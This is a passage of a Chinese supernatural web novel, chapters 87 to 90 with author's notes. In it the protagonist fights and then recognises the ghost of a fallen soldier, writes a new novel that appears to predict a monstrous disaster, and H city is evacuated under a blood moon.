这番话说的很有道理,说服了宴泠昭。放下心来的宴泠昭站起身,向赵医生道谢后,离开了诊疗室
之后没有什么事做,宴泠昭离开基地,回了小区。
他刚走到自家楼下,突然察觉到一丝异样——那是一道视线。
之于社恐而言,对他人的目光是非常敏感的。
转头望去,只见不远处的树下,站着一个身影。那人穿着普通的休闲装,但站姿笔直,甚至是标准的,没接受特训前的宴泠昭可能看不出来,但接受过特训后,他一眼便瞧出,对方明显受过专业训练。
【作者有话说】
[撒花]
87 第 87 章
◎王磊:我是好鬼!◎
宴泠昭停在楼下, 看着不远处站在树下的身影。对方穿着一件花里胡哨的衬衫、印有椰子树花纹的蓝色五分裤,脚下踩着双人字拖, 一副度假的打扮。正常来说,即便没有松弛感,至少,也不应该
过于严肃。
是的,“过于”。
看那端正得不行的站姿、肩膀下意识绷紧的举动,加上长得方正的面容。
一身正气挡都挡不住。
而宴泠昭自从吃上国家饭后, 没少接触哪方面的人。因此,他一眼就看出——军方的人?
是找他有事吗?
宴泠昭走过去,语气礼貌的问:“你好,有事找我吗?”
***
王磊此刻心里十分紧张。
作为57名士兵诡异中性格最圆滑、也最擅长社交的那个, 他理所当然被选中去接触宴泠昭。
本以为自己能自然的与人家搭上话,再慢慢试探情况。可万万没想到, 刚一碰面, 青年就看穿了他。
那、那还装吗?
王磊回忆张参谋的话。
【如果被发现了, 就大方承认。除非你有万全的准备,能保证说服宴泠昭,那就可以说切记,所有行动的基础, 都建立在不招致宴泠昭厌恶的前提下进行。】
“宴、宴先生。”王磊努力让自己的声音听起来正常, “我是上面派来了解小区情况的。”
这个借口很蹩脚, 但一时半会儿他也想不出更好的说辞。
宴泠昭了然的点了下头,目光在他身上停留了几秒, 忽然道:“你的手?”
王磊闻言, 条件反射低头看去, 心里顿时凉了半截——他的右手手指在阳光下呈现出半透明的状态, 隐约能看到后面的树干纹理。
完了。
他下意识想把手藏起来,但宴泠昭已经走近一步,抓起他的手:“你不是人?”
“你是那天牺牲的士兵之一?”
尽管口中吐出的是犹疑的探问,尾音也是上扬的疑问的弧度。但宴泠昭的眼神却无比清明,没有一丝惑意。
王磊僵在原地,不知该如何回答。
宴泠昭见状,彻底明白了。
他垂下眼睫,想起之前特训时教官的告诫:诡异是纯粹恶意的聚合体,无论生前多么良善,死后都会蜕变成至恶的存在。而之于他们来说,越是生前珍视之物,成为诡异后便越想将其毁灭。
教官说这话时,宴泠昭并未全然信服。毕竟他最初接触的鬼邻居们并不是教官说的那样,大家明明表现得很友善,难道这份友善是假象吗?
——当然是。
宴泠昭不知情、或者说不记得事多了。
以田燕婉为例。生前,她屡遭家暴,是宴泠昭一次次挺身而出,甚至替她谋划离婚对策。
还告诉田燕婉,他们两家仅一墙之隔,只要她呼救,他立马就会开门出来,帮她赶走那个家暴男,所以,不要害怕,她不是一个人。
然而怯懦的天性让田燕婉始终做不到真正的离婚,因为每次她鼓起勇气提出这个要求不,是请求,她的丈夫就会变得无比愤怒,把她暴打一顿。
如此往复,宴泠昭最后都放弃了。
不愿自救的人,超人来了都救不了。
之后果不其然,田燕婉最终惨死在家暴丈夫的手中。化作诡异后,她的第一个目标尽管没有放在宴泠昭身上,但那绝非是因为其对宴泠昭心存善念,而是循着生前“将好东西留到最后”的习惯,才暂未动手。
直到被彼时还不是特战队的侦查小组重创,凶性彻底激发,她才将屠刀挥向宴泠昭
如果宴泠昭真的只是普通人,身上没一点特殊的地方,早就命丧她手。
其余七鬼亦是如此。若非他们曾对宴泠昭起过杀心,也动过手,又怎会被迫臣服?
宴泠昭并非愚钝之人。
——除手机鬼外,他记不清收服其他七鬼的具体过程,而七鬼也对此讳莫如深。但教官的警示言犹在耳,他对七鬼始终存着三分戒备。
不然,七鬼若真无辜,为何不愿说自己是怎么被他收服的?
正因如此,昨日目睹七鬼殒命于三鬼之手,他虽感怅然,却不至痛彻心扉。
更别说,宴泠昭的理性凌驾于感性之上,于他而言,想来唯有至真至诚的付出,才能在他心底真正的刻下烙印。
至于同样惨死的士兵们,他的那份沉痛是源于对他们那份无畏牺牲、为国为民的震撼。是对人类勇气、忠诚、责任等高尚品质的认可和惋惜。是岁月静好,是因为有人在替你负重前行的感激与愧疚
正如在新闻中看到戍边将士血染疆场,那份痛楚无需以私交为基石,是一个有同理心、有同情心,一个正常人,对守护者因此失去生命的崇高起敬。
所以,二者是不同的。
另外。
诡异并非祂的造物,是入侵者为了蚕食祂的权柄撒下的污染。
哪怕祂他什么都不记得了,本能会悄无声息的提醒他。
***
秋日的正午太阳并不猛烈。
宴泠昭站在温和的阳光下,看着王磊半透明的手指在强光下几乎要消散的边缘,一种冰冷的悲悯扼住了他的呼吸。
理想者在现实的泥潭中溺亡,怯懦者在勇气的烈焰里焚身,赤诚者在谎言的蛛网上悬颈——而这些士兵,为大义流尽鲜血后,死后却蜕变成自己征伐的诡异,将刀挥向曾经誓死守护的人民。
若英魂知晓身后的堕落
宴泠昭的睫毛忽然颤了颤。一滴泪毫无预兆的滚落,砸在水泥地上,印出一小片深色的痕迹。
那泪珠坠落的轨迹被明亮的自然光镀上金边,刺得王磊瞳孔骤缩。
王磊无措地呆立当场,不知道青年怎么突然哭了。
正当他准备出声安慰时,在那柔和的阳光中,他看见青年瞳仁深处竟翻涌起熔金般的漩涡
那不是人类会有的眼神。仿佛神龛里悲悯垂目的佛像突然睁开了眼,又似九天之上的神明投下注视,落在蝼蚁般挣扎的众生身上。
王磊的膝盖猛地发软。灵魂深处爆发出山崩海啸般的战栗,视野被刺目的金色光芒吞噬。无数牺牲者的虚影在强光中沸腾翻涌:被诡异撕碎的战友,血月下湮灭的平民,孩童的玩偶滚落在血泊里;还有他们这群卡在生死夹缝间的幽魂,半透明的躯体在光流中明灭不定。
“轰——”
震耳欲聋的巨响骤然传来,像是直接在他颅骨内轰鸣。
恍惚中,王磊看见一栋栋大楼如同被无形巨手捏碎般倾塌,钢筋水泥在慢镜头中扭曲崩解,玻璃幕墙化作亿万块碎片,裹挟着烟尘轰然坠落。
紧接着,视野犹如被蛮横的拽入另一重时空。
暗红色的天幕低垂,如同溃烂的伤口压在城市上空。目之所及尽是断壁残垣:扭曲的高架桥像被斩断的蛇躯,裸露的钢筋如枯骨般刺向天空;燃烧的汽车残骸堆积成山,焦黑的轮胎滴落着融化的沥青
风卷起灰白色的尘埃,掠过空荡的街道,发出呜呜的哨音。
突然——
死寂。
绝对的死寂吞噬了所有声音。
倒塌的轰鸣、火焰的爆裂、风啸的呜咽所有声音均在某一刻戛然而止。
王磊感到窒息,张开嘴试图呼吸,却发现连自己的心跳都听不见。
接着,时间宛如被按下暂停键,飘散的灰烬凝固在半空。
在这片死寂的末日废墟中,唯有宴泠昭眼中熔金般的瞳孔仍在燃烧。那光芒洞穿血染的天穹,刺透悬浮的尘霭,将王磊钉在无声的刑柱之上。
——眼前的画面太惨烈了。
王磊的神经在尖叫,声带却仿佛是在真空里般徒劳震颤。他拼尽全力想嘶吼,可连指尖都无法颤动分毫。
就在意识即将崩断时,神魂骤然归位,视野瞬间切换。
王磊惊喘着撑住膝盖,抬头却发现飘落的树叶悬在头顶三尺。再偏头往门口方向看去,只见经过小区大门前的人们一动不动
整个世界犹如化作一幅静止的油画。
回头,看见宴泠昭已经没有再流泪,但那眼中流淌的金色却越来越亮,仿佛两轮新生的太阳。
他难道还没回到现实吗?
话又说回来,现在到底是什么情况?他这是怎么了?
忽然,王磊瞳孔急缩成针尖——他看见自己真实的影子凝固在滚烫的水泥地上,看见阳光穿不透他那似乎恢复血肉的手掌。
***
蝉鸣死寂。风凝滞在树梢。连空气都停止了流动。
王磊死死盯着自己恢复血肉的手掌,指腹反复摩挲着真实的皮肤纹理,仿佛要确认这不是幻觉。
明亮的阳光将掌纹照得纤毫毕现,血管在皮下微微搏动
他恢复实体了?那这回是真的复活了啊!
正在王磊欣喜若狂的时候,宴泠昭的声音响起,冷得像冰棱刺破空气:“抱歉。生前的你们,想来也不愿死后将屠刀挥向同胞。”
嗯?
王磊茫然地抬起头,然后心脏骤停——宴泠昭周身散发的已不是悲悯,而是凝成实质的杀气!
“等等!”王磊眼皮一跳,吓得后退半步,“我和别的诡异不”
话未说完,拳风已撕裂空气直逼面门。
王磊条件反射旋身闪避,躲过这一击。不过尚未站稳,宴泠昭的鞭腿就横扫而至。
“砰!”
王磊架臂格挡,骨肉相撞的闷响震得他手臂发麻。他借力后跃,鞋底在水泥地面擦出灰尘。
“你听我解释!”王磊在疾风骤雨的攻势中艰难腾挪。
宴泠昭的招式毫不花俏,每记一直拳都是那么简单粗暴,逼得他连连后退,让他不由得想起一位故人。
曾经带过他的刘教官。
汗水从王磊额角滑落,他看到了宴泠昭眼中的决绝。显然,对方认定他是“纯正”的诡异,为了斩除后患,也为了他口中所说的不让英魂堕落——如果他真的是的话,绝对双手双脚赞成。
可问题是他不是啊!
王磊咬紧牙关,右手猛地探向裤袋。只要掏出手机,拨通指挥部的专线,所有误会都能澄清。
可当指尖触到冰凉的金属外壳时,他的动作却倏然停住。
【不得主动暴露身份】
【优先观察目标态度】
命令在脑中尖啸。
此刻亮明身份,等于毁了整个计划!
要知道眼下还没试探出宴泠昭的态度,而看样子,宴泠昭并不知道是他把他们变成诡异的。
——在他们变成诡异后,上面告诉了他们一些关于宴泠昭的事,其中一条就是有些东西不能让宴泠昭知道。
这也是不允许他们出现在宴泠昭面前,先来试探宴泠昭的原因。
分神的刹那,宴泠昭的拳头已轰至胸前。
王磊仓促侧身,拳锋擦着肋骨掠过,火辣的刺痛感让他倒抽冷气。他借着旋转的力道扣住宴泠昭手腕,压低声音急道:“我和那些坏鬼不一样!我是好鬼!”
宴泠昭面无表情。
王磊抽了抽嘴角,眼皮跳得更狠了。下一秒,果不其然,宴泠昭的膝盖已狠狠顶向他的腹部!
“轰——!”
王磊被顶飞出去,后背重重砸在一棵大树上。落叶纷飞中,他看见宴泠昭踏着满地碎光走来,指尖萦绕的银芒凝成一把薄刃。
这是宴泠昭利用光团,刚刚现想出来的使用方式。
不得不说,真正的战斗令人进步飞速。
“指挥部”没办法了,王磊抽着气说道,“能证明”
他这可不是主动暴露身份,是没招了,再不说就死翘翘了。
“嗡嗡——嗡嗡——”恰在这时,传来一阵振动声。
银刃骤然悬停在王磊咽喉前三寸处。
宴泠昭目光下移,落在王磊鼓起的裤袋上,是那里发出的响声。
【作者有话说】
看到有读者说接受不了八鬼死亡,主角把八鬼当工具人,是白眼狼的评论,我想是因为我后期把八鬼写得太好了,没写他们的险恶心思,以至于被误会八鬼对主角是真心好
所以这章特别提了下。
八鬼复活前对主角的态度是打不过→不得不低头臣服。
说明白的:主角一旦弱势,八鬼会毫不犹豫的弄死主角。
好比养了个杀手在身边,杀手不杀你不是因为他善,是因为他打不过你。一旦被他找到机会把你剁成哨子解恨?不,没那么细_(:з」∠)_
88 第 88 章
◎开新书:《诡异降临》◎
手机在王磊裤袋里疯狂振动, 如同濒死者的心跳。宴泠昭的银刃悬停在他喉前,恢复浅棕色的眼眸紧盯着他那不停振动的裤兜。
“接。”青年的声音冷得掉冰碴, 冻得王磊脸皮不由得抽动了两下。
王磊硬着头皮按下接听键,还没来得及开口,就听筒里传出张参谋沉稳的声音:【“把电话给宴泠昭。”】
——原来是小区里同为诡异的战友发现他这边情况异常,火速通报了指挥部。
此刻的来电正是指挥部做出的紧急补救措施。
“那那个”王磊悻悻笑了笑,把手机往前递,“你接一下?”
宴泠昭的视线在手机和王磊之间逡巡片刻, 下一秒,手机鬼打着哈欠现身。
“这部手机对我有危害吗?”宴泠昭简洁明了的询问手机鬼。
手机鬼懒洋洋地飘近,指尖穿透手机外壳,数据流在他空洞的眼窝里疾速闪烁:“无诡异力量波动, 无诅咒能量气息。”
宴泠昭这才接过手机,然后将听筒贴向耳边, 吐出一个冷淡的单音节词:“说。”
宴泠昭并不记得是他将王磊变成了诡异, 而张参谋也无法直接告诉他真相——怕惊动月亮上那位存在。
于是, 张参谋只能编了个勉强说得过去的理由搪塞过去。
宴泠昭没有轻信。他向来谨慎,怀疑这可能是有人设的局。于是他拿出手机,拨通了朱德宏的号码,确认情况属实后, 才稍稍放下戒备。
他看向王磊, 眼神缓和了些, 语气平静诚恳的道:“抱歉,刚才冒犯了。”
王磊摇了摇头:“不怪你。如果我死后真的成了害人的诡异, 你动手, 我绝对双手双脚支持。”
宴泠昭点了下头, 之后没多废话, 直接问:“你现在是什么情况?”
“我也不清楚自己怎么变成这样的。”王磊回答,“幸好上面的人发现得早也是刚联系上,还没来得及通知你。”
这话八分真,两分假,但宴泠昭没有怀疑。在他看来,王磊没必要骗他。
“你们接下来打算怎么办?回基地?”宴泠昭问。
“我们住在这个小区。”王磊顿了顿,语气坦然,“不只是我,当初牺牲的战友都在。”
宴泠昭怔了下,显然有些意外。
王磊没多解释,只是从宴泠昭手中拿回手机,随后在群里发了条消息:
【都下来,六号楼前。】
没过多久,几十道半透明的身影陆续出现。他们穿回了军装,面容或熟悉或陌生,相同的是都站得无比笔直。
宴泠昭的目光扫过他们每一个人,默默的将他们的面孔尽可能的全记下。
“我们暂时都住在这儿。”王磊解释道,“外面没地方去,回基地又容易引起骚动。小区现在空着,正好。”
那小区为什么空了呢?
这就是个地狱“笑话”了。
宴泠昭默了默,无言。
临走前,他看着众人,声音依旧冷淡,但话语直接:“以后如果有上面不方便的事,可以找我。”
诡异士兵们应了一声,没多客套。
而后,宴泠昭转身离开,身影很快消失在楼道尽头。至于那些诡异士兵,也如雾气般无声散去。
小区又恢复了往日的平静
基地。
从图书馆鬼域带回的大量纸张碎片经过严密的护送程序,终于安全抵达。
原本前一天还能抽空带宴泠昭去见医生的张教授,转眼间就忙得脚不沾地,仿佛又变回了那个在宴泠昭印象里近乎疯狂的科研狂人。
他带领着数名学生,与几十位不同领域的教授,争分夺秒的展开研究——从纸张碎片运抵至今不过短短六小时,他们便已召开了八次会议,每一场都如同学术战场,各方观点激烈碰撞。
值得一提的是,这些纸张碎片虽然表面看起来无害,但毕竟出自S级鬼域,且极有可能与图书馆鬼域之主手中的那本“魔术书”有关,因此上层对此极为重视,采取了基地最高级别的防护措施进行收容。
即便是研究时的接触,也必须经过严格的安全准备。
时间悄然流逝,转眼已是五天后。
2060年11月7日。
这一天,气温彻底转凉,再抗冻的人也披上了外套,怕冷的人甚至早早裹上了羽绒服。
——宴泠昭早晨掀开被子时,冷风猛地灌进来,激得他一颤。他一向不是个愿意委屈自己的人,是以和往年一样,在绝大多数人还没开暖气的时候,就已经打开了暖气。
关上窗户,只留一条细缝通风。没多久,房间便变得暖意融融。
宴泠昭穿着短袖短裤,懒散地窝在沙发上。
八只鬼在他醒来时就被放了出来,其中有家的七只各自回去,只剩下没家的手机鬼和他待在一起。
此时,手机鬼正抱着平板电脑,全神贯注地打着游戏。宴泠昭无事可做,随手点开某音,百无聊赖地刷了起来。
这几天,他的推荐页几乎被血月的讨论和那三只S级诡异的传闻刷屏。翻来覆去都是差不多的内容,看得多了,宴泠昭连停顿的兴趣都没有,直接手指一划,跳过这些千篇一律的言论。
不过,他心里始终萦绕着一丝异样的感觉——对于血月,他莫名有种说不清的亲近感。
说是“亲近”,是因为他暂时找不到更贴切的词来形容这种微妙的感觉。最终,他将其归结为一种普遍的心理现象:很多人都会因为待在温暖的室内,看着窗外恶劣的天气而产生一种奇异的满足感。
是以,既然不止他一个人这么想,那就是正常的。宴泠昭便也就没再深究。
刷了一会儿视频,他忽然觉得口渴,抬眼扫了下茶几,水杯不在那里。于是转头看向饮水机,杯子正搁在水桶上。想来是他昨晚喝完水,随手放在那儿的。
宴泠昭正准备起身去拿,忽然心念一动,指尖浮现出一团散发着柔和乳白色光芒的团子。他试着操控光团,让它缓缓飘向水杯,轻轻一托,杯子便稳稳当当地飞了回来。
嗯,又开发出了一项新能力。
说起来,这些天宴泠昭不是没想过继续去基地测试光团的使用方发和能力,可惜基地最近似乎忙于其它研究项目,所有实验室都被占用。
张教授告诉他:“等忙完这几天再说”,语气含糊,显然不想多谈。宴泠昭尽管好奇他们在研究什么,但见对方不愿透露,也就没再追问。
转头望向窗外,枯黄的树叶早已凋零殆尽,只剩下零星几片残叶孤零零地挂在光秃秃的枝头,在冷风中瑟瑟发抖。
收回视线,打了个哈欠,慵懒地靠在沙发背上。宴泠昭突然觉得自己闲得发慌,一股莫名的冲动涌上心头。
下一秒,他站起身走向自己的房间,按下电脑开机键,然后点开文档、登录作者后台,一系列操作行云流水般顺畅。
然而当光标在空白文档上闪烁时,宴泠昭却陷入了茫然——他只有写作的冲动,却没有任何具体的灵感。
发了一会呆,宴泠昭丧丧的垂下眼睫,正准备关机放弃时,灵感如泉水般骤然喷发涌现。
来不及构思大纲,他抓住脑海中浮现的那个鲜明场景,十指在键盘上飞舞起来,清脆的敲击声在安静的房间里回荡。
两个小时后,随着最后一个句号落下,宴泠昭长舒一口气。
文档底部的字数统计显示:21457。
宴泠昭复制全文,在作者后台新建了一本名为《诡异降临》的小说,草草写了几句简介,便将内容粘贴到第一章发布了出去。
——是的,他开的新书,没有在原先的那本书上写。
因为他这次想写的不是之前那种独立成篇的中长篇恐怖故事,而是一个拥有完整世界观的长篇故事,讲述的是人类与诡异抗争的剧情内容。
宴泠昭觉得这可能与最近发生的事,还有士兵诡异触动了他,才催生出他创造这样的故事的欲望。
看着只有短短一章内容的新书页面,宴泠昭靠在椅背上,长舒了一口气。
与此同时,基地里。
由于宴泠昭长期断更而大幅缩减人员的“作者气氛组”后勤部,如今只剩下寥寥几人留守。
就在他们以为今天又是无所事事的一天时,丁萱突然激动的喊道:“作者更新了!等等他居然开了本新书?”
这个消息很快传到了朱德宏耳中。
其实,按照常规流程,这种小事根本不会惊动到他这个级别,但朱德宏特意交代过:任何关于作者的新动向,无论大小,都必须第一时间向他汇报。
放下手头的工作,朱德宏点开那唯一一章内容仔细阅读。
看完后,他陷入了长久的沉默。
首先,小说中描写的特殊部门职级划分等细节,明显参考了现实中的设定。这种高度真实的笔触,让朱德宏感到格外不安——毕竟作者笔下的故事,往往会在现实中以某种形式重现。
其次,章节末尾写到的“天灾级诡异”,其恐怖程度远超现实中的S级诡异。
书中描述它降临的瞬间就摧毁了一座城市,造成百万人伤亡,百万人死亡的局面,而幸存下来的人也因污染而被永久隔离这种惨烈的场景让朱德宏忧心忡忡。
越想越不安的朱德宏忍不住拨通了宴泠昭的电话,开门见山的道:“你开新书了?”
宴泠昭有些诧异:“你怎么知道的?”
“我侄子是你的忠实书迷,之前跟你说过的。”朱德宏面不改色地甩锅,“你一开新文他就发现了,让我催你更新。”
正在工作的池鸣康突然打了个喷嚏。
同事关切的问:“你感冒了?”
“应该不是。”池鸣康揉了揉鼻子,开玩笑的道,“感觉是人在背后说我坏话。”
【作者有话说】
隔得有点远了,不知道大家还记不记得池鸣康,池鸣康就是通过主角使用的基地电脑,在里面发现了小说原文内容,发现主角是作者的人,将这一情况告诉了朱德宏。他也的确是朱德宏的侄子,亲侄子x
89 第 89 章
◎纸张内容◎
有了一个合情合理的借口作为谈话由头, 朱德宏接下来的试探就顺理成章了。
“我侄子很喜欢你的新书,搞得我也忍不住看了几眼, 别说,确实挺有意思。”朱德宏语气轻松,仿佛真的只是个普通读者,“我都迫不及待想知道后面的剧情了,咳!所以,忍不住想问问你, 这个故事你接下来准备怎么写?”
宴泠昭:“呃简单来说,就是人类与诡异抗争,最终付出惨痛代价终于获得胜利的故事。”
朱德宏“哦”了一声,继续循循善诱:“听起来是很经典的那种故事。不瞒你说, 我平时也爱看小说,就是工作太忙没什么时间——学生时代倒是看了不少, 勉强也算是老书虫我看最近网文的总体风格, 基本都是爽文, 说明现在的读者普遍偏爱爽文”说到这,他故意停顿了一下。
“你这人类要付出惨重代价才能胜利,会不会太压抑了?现在的读者可能不太买账。”
宴泠昭思索片刻,语气平和的回道:“你说得没错, 现在的网文市场确实如此, 传统升级流已经不吃香了。不过只要写得好, 总能吸引到人。当然,我不是自夸, 只是放在以前靠写文吃饭, 我可能还会考虑市场。但现在衣食无忧, 就想写点自己想写的故事。”
朱德宏几度欲言又止, 最后试探性的开口道:“如果你的书”会反映到现实里。
后半句话还没来得及说出来,一股毛骨悚然的危机感骤然降临。朱德宏浑身汗毛倒竖,肌肉紧绷。直觉告诉他,他若是敢说出口,必死无疑。
遂立即改口道:“如果你的这本书也爆火了,那就证明你确实天赋异禀,天生就该吃这碗饭。”为了缓和气氛,他还开了个玩笑,“这么看来,让你在我们这儿打工,还真是委屈了你的才华。”
之后又寒暄了几句,通话结束。
挂断电话后,朱德宏面色凝重,目光重新落在电脑屏幕上。
小说最后那段插叙的描写再度浮上视网膜——
【这座曾经繁华的城市,此刻沦为一片人间炼狱。
高耸入云的摩天大楼像被巨人的手掌碾过,钢筋骨架扭曲断裂,玻璃幕墙碎成齑粉,在血色的月光下闪烁着诡异的微光。
街道上到处都是横七竖八的车辆残骸,有的还在燃烧,浓烟遮蔽了半边天空。曾经车水马龙的主干道,如今铺满了支离破碎的尸体,鲜血汇聚成河,在龟裂的柏油路面上蜿蜒流淌。
远处传来此起彼伏的哭喊声。
一个抱着婴儿的母亲跌跌撞撞地奔跑着,她的右臂不自然地扭曲着,怀中的孩子却安静得可怕。
空气中弥漫着焦糊味、血腥味和某种说不清的腐臭气息】
朱德宏深吸一口气。
小说里的描写很可怕了,但这还不是最可怕的,最可怕的是,这样的“天灾级诡异”很可能不止一个。届时人类该如何应对?
毕竟以目前的实力来看,人类无计可施。
除非能提前预知灾难降临的地点,及早布防。
朱德宏闭上眼睛,半晌,当他再次睁开双眼,眸中已是一片坚毅。
虽然无法阻止灾难的发生,但只要能提前预警,做好防御准备,总好过在茫然无知中迎来灭顶之灾。
他也不会把过错推到宴泠昭身上,在他看来,与其说是宴泠昭的笔触能令虚构化为现实,宛如神笔马良那般神奇,倒不如说是月神在暗中引导,借宴泠昭之手书写下“默示录”。
至于月神此举的目的,无论善意或恶意,对人类而言都不重要。重要的是这份“预知未来”的能力摆在眼前,那就该物尽其用。
好比一把双刃剑,与其纠结它能不能用,不如先握在手中,用了再说。
正如伟人的那句话:不管黑猫白猫,能捉老鼠的就是好猫
等等——
血月?!
朱德宏猛地僵在原地,后知后觉意识到什么,冷汗瞬间浸透了衣衫。
虽尚不能百分百确定,但按照宴泠昭的鬼邻居所言,每三个月一次血月,期间因意外出现的血月不累计进入次数。
而上一次正规进入血月,是八月份,三个月后就是这个月,换句话说,这个月月圆的那几天,必有一天出现血月!
——宴泠昭的新小说并未明确指出具体城市,通篇使用代称,加上刻意模糊了人文地理特征,让他难以判断故事原型究竟是现实中的哪座城市。
与之相比,血月这个意象的指向性就强了。让朱德宏不得不怀疑,小说中描述的天灾级诡异降临,很可能在不久的将来成为现实。想到这里,他的指尖焦躁的不自觉地敲击着桌面。
这个月的满月在14号到25号之间。便以最早的14号计算,今天已是7号,留给他们的时间仅剩一周。要在一周内锁定目标城市并完成千万级人口的疏散安置,这个任务的难度简直超乎想象——不,应该说比登天还难。
沉思良久,朱德宏拿起电话拨通了1号的专线。
事关一座城市上千万百姓的生死存亡,绝不是他一个人能做出的决定。
与此同时,基地实验室里。
经过连日废寝忘食的研究,今天终于取得了突破性的进展:那些看似空白的纸张,居然是有内容的。
只是有个令人头疼的限制,那就是唯独诡异才能看到上面的文字。
这个发现还要归功于基地最新收容的一只诡异。
研究人员搬运它经过实验室时,它无意中念出了纸上的内容,这才揭开了“谜底”。
面对这种情况,与诡异合作成了唯一的选择。
张教授展现出老练的谈判技巧,刻意表现得对这个项目成败漠不关心,避免让诡异察觉人类的迫切需求。
同时,研究人员将聪明的诡异隔离管控,防止它们给其他同类传递信息。
经过层层筛选,最后找到一只符合要求的笨蛋诡异。
张教授不动声色的向它开出条件:只要如实读出纸上内容,在不违反道德底线的前提下,可以满足它的任何要求。
笨蛋诡异也很识相,知道要求自由或杀人都不可能被允许。而它唯一的爱好就是美食——与同样喜欢吃的胖厨师不同,胖厨师喜食人肉,然笨蛋诡异可能是被抓得早,没发现人肉的“美味”,是以依然钟情于正常人类的食物。
“想吃好吃的?”张教授推了推眼镜,“我答应你。”
于是,笨蛋诡异过上了好吃好喝的幸福日子,而基地对纸张的研究进度也随之突飞猛进。
***
在笨蛋诡异的协助下,纸张上的内容终于被完整破译。那是用古老语言记载的禁忌文本,字里行间充斥着扭曲的韵律,光是诵读就让人感到头晕目眩——即便翻译成了汉字。
“当三重血月悬于天幕,沉睡于维度夹缝的尤文托斯将睁开祂的千目。祂的形体不可名状,是一团紧簇的触手构成的巨大体。凡直视祂真容者,灵魂将被撕裂,化作祂永恒低语的一部分。”
“尤文托斯并非恶意,亦非善意。祂的存在超越凡俗的善恶之辨。祂的低语既是赐福,亦是诅咒。聆听者或得窥真理,或沦为疯癫。”
“祂的降临通常伴随虚空之痕——天空撕裂,现实扭曲,万物在祂的注视下逐渐异化。树木生长出血肉,建筑融化如蜡,人类或化作祂无智的仆从,或成为祂梦境中的养料。”
“”
张教授读完译文,实验室陷入死寂。没人敢轻易开口,仿佛害怕自己的声音会引来冥冥中的注视。
“这比我们想象的更糟。”一位研究员声音发颤的说道,“如果这是真的,那代表对方是某种更高维度的存在。”
“我们生活在三维空间,向上,还有四维空间、五维空间杀伤力堪比流浪蓝星中的二向箔不,比二向箔还要恐怖!”
张教授神色如常,脸上看不出丝毫波动。
作为少数知晓月神与日神存在的人之一,他早已对这些超越常理的存在有了相当的免疫力。
而既然前两位“高纬度存在”都已现身,那再来一个“位格”相近的尤文托斯,自然也很难再让他产生震惊。
更何况,眼下尚不能确定这个尤文托斯究竟是独立于日月二神的第三位存在,还是其中某一位的化身或分身。
退一万步说,地球如今已经被两位“大神”盯上,再多一位又如何?三者之间必然会像自然界争夺领地的雄狮般相互制衡,和平共处的可能性微乎其微。
“大家先回去休息吧。”张教授语气平稳的安抚众人,“这件事需要从长计议。”
待所有人心事重重的离开,实验室重归寂静,张教授才独自走到走廊尽头,拨通了朱德宏的电话。
电话那头的朱德宏听完汇报,一颗心直直沉了下去。
原本他对宴泠昭小说中描述的天灾级诡异降临时间还将信将疑,如今看来,这场灾难极有可能真的就是在本月上演。
挂断电话后,朱德宏站在窗前,指尖无意识地敲击着窗框。
半晌,他按下通讯器,声音无比严肃的说道:“立刻召开紧急会议。通知气象局、天文台、特殊部门指挥部所有负责人,半小时后一号会议室集合。”
与此同时。
张教授回到实验室,发现笨蛋诡异不知怎么地蜷缩在角落里瑟瑟发抖。而它面前的纸张上,正缓缓渗出暗红色的液体,逐渐在纸上勾勒出一幅诡异的星图。
张教授愣了下,很快回过神,戴上特制手套,小心翼翼地拿起纸张。
下一秒,星图上的几个点突然开始移动,最终在某个坐标汇聚。张教授瞳孔骤缩——这、这好像是我国东部沿海的某坐大城市的坐标!
另一边。
突然又来灵感,回到电脑前,开始码字的宴泠昭倏然感到一阵心悸,他停了几秒钟,待这阵不适感消散,才继续敲击键盘,写下:【凌晨十二点刚过,悬于夜空中的明月便染上了不祥的暗红,将天空映呈出诡谲的血色。
海湾里的海水莫名开始沸腾。不是比喻意义上的沸腾——而是真正冒着气泡,翻滚着将鱼虾煮成惨白的熟肉。
停泊在港口的万吨货轮像玩具般被一只无形巨手捏扁,钢铁扭曲的呻吟声传遍整个码头区】
【作者有话说】
[撒花]
90 第 90 章
◎撤离H市◎
2060年11月11日, H市。
深夜,刚过凌晨, 红光忽然遮覆了整片天空,落下不详的红色。
还没睡的人奇怪的仰头望天,想看看是什么情况,便见往常皎洁的银月变成了血色。
不过因为三个月前也出现过这种异象——虽然国家很快就辟谣说是自然天文现象,但后来公开了诡异的存在后,国家也讲了血月对诡异的影响:会造成诡异狂暴。
然而我国国情在此, 百姓的安全防范意识并不高,是以,人们这会还不慌张,觉得血月就血月呗, 有什么大不了。有的甚至还拿出手机或拍照或录起视频来
完全不知道灾难正在降临。
0点过一分,H市上空响起防空警报尖锐的声音。
显然, 血月比预想的来得早, 打破了朱德宏的计划, 也扰乱了国家预备的措施。
刺耳的警笛声划破夜空,惊醒了沉睡中的城市。
家家户户的灯光一盏接一盏亮起,手机在同一时间震动起来,是当地政府紧急推送的短信:【H市全体居民请注意, 立即执行最高级撤离预案。可以携带必要物资, 注意!是必要!且能迅速带上的, 不能就不要拿了!务必以最快的速度前往指定集合点重复,这不是演习!】
“搞什么啊”牟晓揉着眼睛从被窝里钻出来, 摸到手机看了一眼, 瞬间清醒, “妈!快起来!出事了!”
隔壁卧室传来拖鞋啪嗒啪嗒的声音, 林妈妈披着外套冲进来:“怎么了?着火了?”
“比着火严重多了。”已经下床的牟晓此刻正手忙脚乱地翻出之前旅游时买的旅行背包,“政府让我们马上撤离!”
窗外,牟晓家小区的广播开始循环播放:“请各位居民保持冷静,有序撤离”
***
00:30:00
H市的主干道堵得水泄不通,滴滴叭叭按喇叭的声音此起彼伏,吵得人耳朵疼。
“按喇叭有用吗?前面是能飞还是怎么着?”王家栋把头伸出窗外往后吼道,随后骂骂咧咧的缩回脑袋,烦躁地拍了下方向盘。
超市里。
抢购的人群挤碎了玻璃门。
“我就买箱矿泉水!你们别抢!”一个大爷死死护着自己的购物车。
“别挤!排好队!”急得满头大汗的超市经理站在收银台上大喊,但没人理会。
货架也早就被扫荡一空,连宠物食品都没剩下。
加油站。
排队加油的车队排到了两公里外。一辆宝马车试图插队,被后面的司机拽出来:“都什么时候了,你宝马了不起啊?生死存亡面前,你就是开劳斯莱斯都没用!滚回去,你再插队试试?!”
高铁站人山人海。
穿橙色马甲的志愿者举着喇叭:“往北走的旅客请到2号站台!带小孩的家长走绿色通道!”
大学生齐磊拖着行李箱,回头看了眼生活了三年的城市,心情复杂。
他的室友拍了拍他肩膀:“别看了,辅导员说学校会安排我们去B市复课。”
